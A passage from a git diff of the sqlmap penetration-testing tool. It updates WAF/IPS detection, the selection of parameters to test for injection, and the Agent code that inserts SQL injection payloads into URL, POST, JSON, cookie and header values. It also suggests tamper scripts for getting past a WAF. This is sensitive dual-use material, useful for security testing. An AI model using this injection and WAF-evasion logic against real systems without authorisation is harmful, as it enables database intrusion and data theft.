dynamic" % (place, parameter) + paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place + + infoMsg = "testing if %s parameter '%s' is dynamic" % (paramType, parameter) logger.info(infoMsg) try: @@ -817,7 +925,7 @@ def checkDynParam(place, parameter, value): dynResult = Request.queryPage(payload, place, raise404=False) if not dynResult: - infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter) + infoMsg = "confirming that %s parameter '%s' is dynamic" % (paramType, parameter) logger.info(infoMsg) randInt = randomInt() @@ -1009,52 +1117,38 @@ def checkWaf(): Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse """ - if not conf.checkWaf: - return False + if any((conf.string, conf.notString, conf.regexp)): + return None - infoMsg = "heuristic checking if the target is protected by " - infoMsg += "some kind of WAF/IPS/IDS" - logger.info(infoMsg) + dbmMsg = "heuristically checking if the target is protected by " + dbmMsg += "some kind of WAF/IPS/IDS" + logger.debug(dbmMsg) retVal = False + payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD) - backup = dict(conf.parameters) + value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER + value += agent.addPayloadDelimiters("%s=%s" % (randomStr(), payload)) - conf.parameters = dict(backup) - conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&" - conf.parameters[PLACE.GET] += "%s=%d %s" % (randomStr(), randomInt(), IDS_WAF_CHECK_PAYLOAD) - - kb.matchRatio = None - Request.queryPage() - - if kb.errorIsNone and kb.matchRatio is None: - kb.matchRatio = LOWER_RATIO_BOUND - - conf.parameters = dict(backup) - conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&" - conf.parameters[PLACE.GET] += "%s=%d" % (randomStr(), randomInt()) - - trueResult = Request.queryPage() - - if trueResult: - conf.parameters = dict(backup) - conf.parameters[PLACE.GET] = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + "&" - conf.parameters[PLACE.GET] += "%s=%d %s" % (randomStr(), randomInt(), IDS_WAF_CHECK_PAYLOAD) - - falseResult = Request.queryPage() - - if not falseResult: - retVal = True - - conf.parameters = dict(backup) + try: + retVal = Request.queryPage(place=PLACE.GET, value=value, getRatioValue=True, noteResponseTime=False, silent=True)[1] < IDS_WAF_CHECK_RATIO + except SqlmapConnectionException: + retVal = True + finally: + kb.matchRatio = None if retVal: - warnMsg = "it appears that the target is protected. Please " - warnMsg += "consider usage of tamper scripts (option '--tamper')" - logger.warn(warnMsg) - else: - infoMsg = "it appears that the target is not protected" - logger.info(infoMsg) + warnMsg = "heuristics detected that the target " + warnMsg += "is protected by some kind of WAF/IPS/IDS" + logger.critical(warnMsg) + + if not conf.identifyWaf: + message = "do you want sqlmap to try to detect backend " + message += "WAF/IPS/IDS? [y/N] " + output = readInput(message, default="N") + + if output and output[0] in ("Y", "y"): + conf.identifyWaf = True return retVal @@ -1072,6 +1166,8 @@ def identifyWaf(): def _(*args, **kwargs): page, headers, code = None, None, None try: + pushValue(kb.redirectChoice) + kb.redirectChoice = REDIRECTION.NO if kwargs.get("get"): kwargs["get"] = urlencode(kwargs["get"]) kwargs["raise404"] = False @@ -1079,6 +1175,8 @@ def identifyWaf(): page, headers, code = Request.getPage(*args, **kwargs) except Exception: pass + finally: + kb.redirectChoice = popValue() return page or "", headers or {}, code retVal = False @@ -1088,7 +1186,7 @@ def identifyWaf(): logger.debug("checking for WAF/IDS/IPS product '%s'" % product) found = function(_) except Exception, ex: - errMsg = "exception occured while running " + errMsg = "exception occurred while running " errMsg += "WAF script for '%s' ('%s')" % (product, ex) logger.critical(errMsg) @@ -1110,9 +1208,10 @@ def identifyWaf(): if output and output[0] not in ("Y", "y"): raise SqlmapUserQuitException else: - infoMsg = "no WAF/IDS/IPS product has been identified" - logger.info(infoMsg) + warnMsg = "no WAF/IDS/IPS product has been identified" + logger.warn(warnMsg) + kb.testType = None kb.testMode = False return retVal @@ -1168,10 +1267,16 @@ def checkNullConnection(): def checkConnection(suppressOutput=False): if not any((conf.proxy, conf.tor, conf.dummy)): try: + debugMsg = "resolving hostname '%s'" % conf.hostname + logger.debug(debugMsg) socket.getaddrinfo(conf.hostname, None) except socket.gaierror: errMsg = "host '%s' does not exist" % conf.hostname raise SqlmapConnectionException(errMsg) + except socket.error, ex: + errMsg = "problem occurred while " + errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getUnicode(ex)) + raise SqlmapConnectionException(errMsg) if not suppressOutput and not conf.dummy: infoMsg = "testing connection to the target URL" @@ -1198,9 +1303,6 @@ def checkConnection(suppressOutput=False): kb.errorIsNone = True except SqlmapConnectionException, errMsg: - errMsg = getUnicode(errMsg) - logger.critical(errMsg) - if conf.ipv6: warnMsg = "check connection to a provided " warnMsg += "IPv6 address with a tool like ping6 " @@ -1210,6 +1312,9 @@ def checkConnection(suppressOutput=False): singleTimeWarnMessage(warnMsg) if any(code in kb.httpErrorCodes for code in (httplib.NOT_FOUND, )): + errMsg = getUnicode(errMsg) + logger.critical(errMsg) + if conf.multipleTargets: return False @@ -1222,3 +1327,6 @@ def checkConnection(suppressOutput=False): raise return True + +def setVerbosity(): # Cross-linked function + raise NotImplementedError diff --git a/lib/controller/controller.py b/lib/controller/controller.py index f7610299e..3fb86150d 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -20,6 +20,7 @@ from lib.controller.checks import checkWaf from lib.controller.checks import heuristicCheckSqlInjection from lib.controller.checks import identifyWaf from lib.core.agent import agent +from lib.core.common import dataToStdout from lib.core.common import extractRegexResult from lib.core.common import getFilteredPageContent from lib.core.common import getPublicTypeMembers @@ -27,7 +28,10 @@ from lib.core.common import getUnicode from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import intersect +from lib.core.common import isListLike from lib.core.common import parseTargetUrl +from lib.core.common import popValue +from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeCSValue @@ -54,6 +58,7 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import EMPTY_FORM_FIELDS_REGEX from lib.core.settings import IGNORE_PARAMETERS from lib.core.settings import LOW_TEXT_PERCENT +from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_PREFIX from lib.core.settings import HOST_ALIASES from lib.core.settings import REFERER_ALIASES from lib.core.settings import USER_AGENT_ALIASES @@ -124,8 +129,8 @@ def _selectInjection(): kb.injection = kb.injections[index] def _formatInjection(inj): - data = "Place: %s\n" % inj.place - data += "Parameter: %s\n" % inj.parameter + paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else inj.place + data = "Parameter: %s (%s)\n" % (inj.parameter, paramType) for stype, sdata in inj.data.items(): title = sdata.title @@ -144,7 +149,7 @@ def _formatInjection(inj): vector = "%s%s" % (vector, comment) data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype] data += " Title: %s\n" % title - data += " Payload: %s\n" % urldecode(payload, unsafe="&", plusspace=(inj.place == PLACE.POST and kb.postSpaceToPlus)) + data += " Payload: %s\n" % urldecode(payload, unsafe="&", plusspace=(inj.place != PLACE.GET and kb.postSpaceToPlus)) data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n" return data @@ -187,7 +192,9 @@ def _randomFillBlankFields(value): return retVal def _saveToHashDB(): - injections = hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or [] + injections = hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) + if not isListLike(injections): + injections = [] injections.extend(_ for _ in kb.injections if _ and _.place is not None and _.parameter is not None) _ = dict() @@ -249,7 +256,7 @@ def start(): return True if conf.url and not any((conf.forms, conf.crawlDepth)): - kb.targets.add((conf.url, conf.method, conf.data, conf.cookie)) + kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None)) if conf.configFile and not kb.targets: errMsg = "you did not edit the configuration file properly, set " @@ -262,13 +269,16 @@ def start(): logger.info(infoMsg) hostCount = 0 + initialHeaders = list(conf.httpHeaders) - for targetUrl, targetMethod, targetData, targetCookie in kb.targets: + for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: try: conf.url = targetUrl - conf.method = targetMethod + conf.method = targetMethod.upper() if targetMethod else targetMethod conf.data = targetData conf.cookie = targetCookie + conf.httpHeaders = list(initialHeaders) + conf.httpHeaders.extend(targetHeaders or []) initTargetEnv() parseTargetUrl() @@ -276,7 +286,7 @@ def start(): testSqlInj = False if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]): - for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (conf.pDel or DEFAULT_GET_POST_DELIMITER, conf.pDel or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): + for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: @@ -287,7 +297,13 @@ def start(): if paramKey not in kb.testedParams: testSqlInj = True - testSqlInj &= conf.hostname not in kb.vulnHosts + if testSqlInj and conf.hostname in kb.vulnHosts: + if kb.skipVulnHost is None: + message = "SQL injection vulnerability has already been detected " + message += "against '%s'. Do you want to skip " % conf.hostname + message += "further tests involving it? [Y/n]" + kb.skipVulnHost = readInput(message, default="Y").upper() != 'N' + testSqlInj = not kb.skipVulnHost if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl @@ -300,13 +316,13 @@ def start(): if conf.forms: message = "[#%d] form:\n%s %s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl) else: - message = "URL %d:\n%s %s%s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "") + message = "URL %d:\n%s %s%s" % (hostCount, HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "") if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data is not None: - message += "\nPOST data: %s" % urlencode(conf.data) if conf.data else "" + message += "\n%s data: %s" % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "") if conf.forms: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: @@ -316,13 +332,13 @@ def start(): test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): - if conf.method == HTTPMETHOD.POST: - message = "Edit POST data [default: %s]%s: " % (urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") + if conf.method != HTTPMETHOD.GET: + message = "Edit %s data [default: %s]%s: " % (conf.method, urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data - elif conf.method == HTTPMETHOD.GET: + else: if targetUrl.find("?") > -1: firstPart = targetUrl[:targetUrl.find("?")] secondPart = targetUrl[targetUrl.find("?") + 1:] @@ -345,6 +361,7 @@ def start(): if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): + dataToStdout(os.linesep) continue elif test[0] in ("q", "Q"): break @@ -357,8 +374,7 @@ def start(): if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp(): continue - if conf.checkWaf: - checkWaf() + checkWaf() if conf.identifyWaf: identifyWaf() @@ -416,6 +432,8 @@ def start(): paramDict = conf.paramDict[place] + paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place + for parameter, value in paramDict.items(): if not proceed: break @@ -427,7 +445,7 @@ def start(): if paramKey in kb.testedParams: testSqlInj = False - infoMsg = "skipping previously processed %s parameter '%s'" % (place, parameter) + infoMsg = "skipping previously processed %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter in conf.testParameter: @@ -436,45 +454,60 @@ def start(): elif parameter == conf.rParam: testSqlInj = False - infoMsg = "skipping randomizing %s parameter '%s'" % (place, parameter) + infoMsg = "skipping randomizing %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter in conf.skip: testSqlInj = False - infoMsg = "skipping %s parameter '%s'" % (place, parameter) + infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) + logger.info(infoMsg) + + elif parameter == conf.csrfToken: + testSqlInj = False + + infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter logger.info(infoMsg) # Ignore session-like parameters for --level < 4 - elif conf.level < 4 and parameter.upper() in IGNORE_PARAMETERS: + elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False - infoMsg = "ignoring %s parameter '%s'" % (place, parameter) + infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) - elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: + elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic: check = checkDynParam(place, parameter, value) if not check: - warnMsg = "%s parameter '%s' does not appear dynamic" % (place, parameter) + warnMsg = "%s parameter '%s' does not appear dynamic" % (paramType, parameter) logger.warn(warnMsg) + if conf.skipStatic: + infoMsg = "skipping static %s parameter '%s'" % (paramType, parameter) + logger.info(infoMsg) + + testSqlInj = False else: - infoMsg = "%s parameter '%s' is dynamic" % (place, parameter) + infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) if testSqlInj: + if place == PLACE.COOKIE: + pushValue(kb.mergeCookies) + kb.mergeCookies = False + check = heuristicCheckSqlInjection(place, parameter) if check != HEURISTIC_TEST.POSITIVE: if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): - infoMsg = "skipping %s parameter '%s'" % (place, parameter) + infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) logger.info(infoMsg) continue - infoMsg = "testing for SQL injection on %s " % place + infoMsg = "testing for SQL injection on %s " % paramType infoMsg += "parameter '%s'" % parameter logger.info(infoMsg) @@ -497,10 +530,13 @@ def start(): paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) else: - warnMsg = "%s parameter '%s' is not " % (place, parameter) + warnMsg = "%s parameter '%s' is not " % (paramType, parameter) warnMsg += "injectable" logger.warn(warnMsg) + if place == PLACE.COOKIE: + kb.mergeCookies = popValue() + if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " @@ -545,14 +581,19 @@ def start(): elif conf.string: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--string' as perhaps the string you " - errMsg += "have choosen does not match " + errMsg += "have chosen does not match " errMsg += "exclusively True responses" elif conf.regexp: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--regexp' as perhaps the regular " - errMsg += "expression that you have choosen " + errMsg += "expression that you have chosen " errMsg += "does not match exclusively True responses" + if not conf.tamper: + errMsg += " If you suspect that there is some kind of protection mechanism " + errMsg += "involved (e.g. WAF) maybe you could retry " + errMsg += "with an option '--tamper' (e.g. '--tamper=space2comment')" + raise SqlmapNotVulnerableException(errMsg) else: # Flush the flag @@ -598,14 +639,14 @@ def start(): except SqlmapSilentQuitException: raise - except SqlmapBaseException, e: - e = getUnicode(e) + except SqlmapBaseException, ex: + errMsg = getUnicode(ex.message) if conf.multipleTargets: - e += ", skipping to the next %s" % ("form" if conf.forms else "URL") - logger.error(e) + errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL") + logger.error(errMsg) else: - logger.critical(e) + logger.critical(errMsg) return False finally: diff --git a/lib/controller/handler.py b/lib/controller/handler.py index da0564127..471070b1b 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -71,9 +71,9 @@ def setHandler(): items.remove(_) items.insert(0, _) - for name, aliases, Handler, Connector in items: - if conf.dbms and conf.dbms not in aliases: - debugMsg = "skipping test for %s" % name + for dbms, aliases, Handler, Connector in items: + if conf.dbms and conf.dbms.lower() != dbms and conf.dbms.lower() not in aliases: + debugMsg = "skipping test for %s" % dbms logger.debug(debugMsg) continue @@ -84,7 +84,7 @@ def setHandler(): logger.debug("forcing timeout to 10 seconds") conf.timeout = 10 - dialect = DBMS_DICT[name][3] + dialect = DBMS_DICT[dbms][3] if dialect: sqlalchemy = SQLAlchemy(dialect=dialect) @@ -93,7 +93,10 @@ def setHandler(): if sqlalchemy.connector: conf.dbmsConnector = sqlalchemy else: - conf.dbmsConnector.connect() + try: + conf.dbmsConnector.connect() + except NameError: + pass else: conf.dbmsConnector.connect() diff --git a/lib/core/__init__.py b/lib/core/__init__.py index 9e1072a9c..8d7bcd8f0 100644 --- a/lib/core/__init__.py +++ b/lib/core/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/lib/core/agent.py b/lib/core/agent.py index c7ba435fa..f200d8f75 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -10,6 +10,7 @@ import re from lib.core.common import Backend from lib.core.common import extractRegexResult from lib.core.common import getSQLSnippet +from lib.core.common import getUnicode from lib.core.common import isDBMSVersionAtLeast from lib.core.common import isNumber from lib.core.common import isTechniqueAvailable @@ -19,6 +20,7 @@ from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import singleTimeWarnMessage from lib.core.common import splitFields from lib.core.common import unArrayizeValue +from lib.core.common import urlencode from lib.core.common import zeroDepthSearch from lib.core.data import conf from lib.core.data import kb @@ -26,11 +28,15 @@ from lib.core.data import queries from lib.core.dicts import DUMP_DATA_PREPROCESS from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import DBMS +from lib.core.enums import HTTP_HEADER from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.exception import SqlmapNoneDataException +from lib.core.settings import BOUNDARY_BACKSLASH_MARKER from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR +from lib.core.settings import DEFAULT_COOKIE_DELIMITER +from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import GENERIC_SQL_COMMENT from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import REPLACEMENT_MARKER @@ -44,10 +50,10 @@ class Agent(object): def payloadDirect(self, query): query = self.cleanupPayload(query) - if query.startswith("AND "): - query = query.replace("AND ", "SELECT ", 1) - elif query.startswith(" UNION ALL "): - query = query.replace(" UNION ALL ", "", 1) + if query.upper().startswith("AND "): + query = re.sub(r"(?i)AND ", "SELECT ", query, 1) + elif query.upper().startswith(" UNION ALL "): + query = re.sub(r"(?i) UNION ALL ", "", query, 1) elif query.startswith("; "): query = query.replace("; ", "", 1) @@ -84,7 +90,7 @@ class Agent(object): paramString = conf.parameters[place] paramDict = conf.paramDict[place] - origValue = paramDict[parameter] + origValue = getUnicode(paramDict[parameter]) if place == PLACE.URI: paramString = origValue @@ -98,14 +104,26 @@ class Agent(object): origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0] if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML): origValue = origValue.split('>')[-1] - elif kb.postHint == POST_HINT.JSON: - origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P\d+\Z)", origValue) or extractRegexResult(r'(?s)(?P[^"]+\Z)', origValue) + elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE): + origValue = extractRegexResult(r"(?s)\"\s*:\s*(?P\d+\Z)", origValue) or extractRegexResult(r'(?s)\s*(?P[^"\[,]+\Z)', origValue) else: - origValue = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"]+\Z)", origValue) + _ = extractRegexResult(r"(?s)(?P[^\s<>{}();'\"&]+\Z)", origValue) or "" + origValue = _.split('=', 1)[1] if '=' in _ else "" elif place == PLACE.CUSTOM_HEADER: paramString = origValue origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0] origValue = origValue[origValue.index(',') + 1:] + match = re.search(r"([^;]+)=(?P[^;]+);?\Z", origValue) + if match: + origValue = match.group("value") + elif ',' in paramString: + header = paramString.split(',')[0] + + if header.upper() == HTTP_HEADER.AUTHORIZATION.upper(): + origValue = origValue.split(' ')[-1].split(':')[-1] + + if conf.prefix: + value = origValue if value is None: if where == PAYLOAD.WHERE.ORIGINAL: @@ -117,7 +135,9 @@ class Agent(object): _ = randomInt(2) value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1) elif conf.invalidBignum: - value = "%d.%d" % (randomInt(6), randomInt(1)) + value = randomInt(6) + elif conf.invalidString: + value = randomStr(6) else: if newValue.startswith("-"): value = "" @@ -136,14 +156,40 @@ class Agent(object): _ = "%s%s" % (origValue, CUSTOM_INJECTION_MARK_CHAR) if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '"%s"' % _ in paramString: newValue = '"%s"' % newValue + elif kb.postHint == POST_HINT.JSON_LIKE and not isNumber(newValue) and not "'%s'" % _ in paramString: + newValue = "'%s'" % newValue newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER) retVal = paramString.replace(_, self.addPayloadDelimiters(newValue)) retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, "").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR) elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST): retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue)) else: - retVal = paramString.replace("%s=%s" % (parameter, origValue), - "%s=%s" % (parameter, self.addPayloadDelimiters(newValue))) + def _(pattern, repl, string): + retVal = string + match = None + for match in re.finditer(pattern, string): + pass + + if match: + while True: + _ = re.search(r"\\g<([^>]+)>", repl) + if _: + repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) + else: + break + retVal = string[:match.start()] + repl + string[match.end():] + return retVal + + if origValue: + regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "") + retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) + else: + retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) + if retVal == paramString and urlencode(parameter) != parameter: + retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString) + + if retVal: + retVal = retVal.replace(BOUNDARY_BACKSLASH_MARKER, '\\') return retVal @@ -176,7 +222,7 @@ class Agent(object): # If we are replacing () the parameter original value with # our payload do not prepend with the prefix - if where == PAYLOAD.WHERE.REPLACE: + if where == PAYLOAD.WHERE.REPLACE and not conf.prefix: query = "" # If the technique is stacked queries () do not put a space @@ -192,10 +238,11 @@ class Agent(object): else: query = kb.injection.prefix or prefix or "" - if not (expression and expression[0] == ";"): + if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('): query += " " - query = "%s%s" % (query, expression) + if query: + query = "%s%s" % (query.replace('\\', BOUNDARY_BACKSLASH_MARKER), expression) return query @@ -225,11 +272,11 @@ class Agent(object): # If we are replacing () the parameter original value with # our payload do not append the suffix - if where == PAYLOAD.WHERE.REPLACE: + if where == PAYLOAD.WHERE.REPLACE and not conf.suffix: pass elif suffix and not comment: - expression += " %s" % suffix + expression += suffix.replace('\\', BOUNDARY_BACKSLASH_MARKER) return re.sub(r"(?s);\W*;", ";", expression) @@ -251,7 +298,7 @@ class Agent(object): payload = payload.replace(_, randomStr()) if origValue is not None: - payload = payload.replace("[ORIGVALUE]", origValue if origValue.isdigit() else "'%s'" % origValue) + payload = payload.replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) if "[INFERENCE]" in payload: if Backend.getIdentifiedDbms() is not None: @@ -266,7 +313,7 @@ class Agent(object): inferenceQuery = inference.query payload = payload.replace("[INFERENCE]", inferenceQuery) - else: + elif not kb.testMode: errMsg = "invalid usage of inference payload without " errMsg += "knowledge of underlying DBMS" raise SqlmapNoneDataException(errMsg) @@ -351,7 +398,8 @@ class Agent(object): else: nulledCastedField = rootQuery.isnull.query % nulledCastedField - if conf.hexConvert or conf.binaryFields and field in conf.binaryFields.split(','): + kb.binaryField = conf.binaryFields and field in conf.binaryFields.split(',') + if conf.hexConvert or kb.binaryField: nulledCastedField = self.hexConvertField(nulledCastedField) return nulledCastedField @@ -814,6 +862,9 @@ class Agent(object): @rtype: C{str} """ + if " FROM " not in query: + return query + limitedQuery = query limitStr = queries[Backend.getIdentifiedDbms()].limit.query fromIndex = limitedQuery.index(" FROM ") @@ -943,33 +994,35 @@ class Agent(object): return caseExpression - def addPayloadDelimiters(self, inpStr): + def addPayloadDelimiters(self, value): """ Adds payload delimiters around the input string """ - return "%s%s%s" % (PAYLOAD_DELIMITER, inpStr, PAYLOAD_DELIMITER) if inpStr else inpStr + return "%s%s%s" % (PAYLOAD_DELIMITER, value, PAYLOAD_DELIMITER) if value else value - def removePayloadDelimiters(self, inpStr): + def removePayloadDelimiters(self, value): """ Removes payload delimiters from inside the input string """ - return inpStr.replace(PAYLOAD_DELIMITER, '') if inpStr else inpStr + return value.replace(PAYLOAD_DELIMITER, '') if value else value - def extractPayload(self, inpStr): + def extractPayload(self, value): """ Extracts payload from inside of the input string """ - return extractRegexResult("(?s)%s(?P.*?)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), inpStr) + _ = re.escape(PAYLOAD_DELIMITER) + return extractRegexResult("(?s)%s(?P.*?)%s" % (_, _), value) - def replacePayload(self, inpStr, payload): + def replacePayload(self, value, payload): """ Replaces payload inside the input string with a given payload """ - return re.sub("(%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), ("%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER)).replace("\\", r"\\"), inpStr) if inpStr else inpStr + _ = re.escape(PAYLOAD_DELIMITER) + return re.sub("(?s)(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER)).replace("\\", r"\\"), value) if value else value def runAsDBMSUser(self, query): if conf.dbmsCred and "Ad Hoc Distributed Queries" not in query: diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index 85f64ddb8..0e42433d8 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -1,15 +1,36 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ +try: + import cPickle as pickle +except: + import pickle + +import itertools import os -import pickle +import sys import tempfile -from lib.core.settings import BIGARRAY_CHUNK_LENGTH +from lib.core.exception import SqlmapSystemException +from lib.core.settings import BIGARRAY_CHUNK_SIZE + +DEFAULT_SIZE_OF = sys.getsizeof(object()) + +def _size_of(object_): + """ + Returns total size of a given object_ (in bytes) + """ + + retval = sys.getsizeof(object_, DEFAULT_SIZE_OF) + if isinstance(object_, dict): + retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(object_.items())) + elif hasattr(object_, "__iter__"): + retval += sum(_size_of(_) for _ in object_) + return retval class Cache(object): """ @@ -28,15 +49,21 @@ class BigArray(list): def __init__(self): self.chunks = [[]] + self.chunk_length = sys.maxint self.cache = None - self.length = 0 self.filenames = set() + self._os_remove = os.remove + self._size_counter = 0 def append(self, value): self.chunks[-1].append(value) - if len(self.chunks[-1]) >= BIGARRAY_CHUNK_LENGTH: + if self.chunk_length == sys.maxint: + self._size_counter += _size_of(value) + if self._size_counter >= BIGARRAY_CHUNK_SIZE: + self.chunk_length = len(self.chunks[-1]) + self._size_counter = None + if len(self.chunks[-1]) >= self.chunk_length: filename = self._dump(self.chunks[-1]) - del(self.chunks[-1][:]) self.chunks[-1] = filename self.chunks.append([]) @@ -47,8 +74,13 @@ class BigArray(list): def 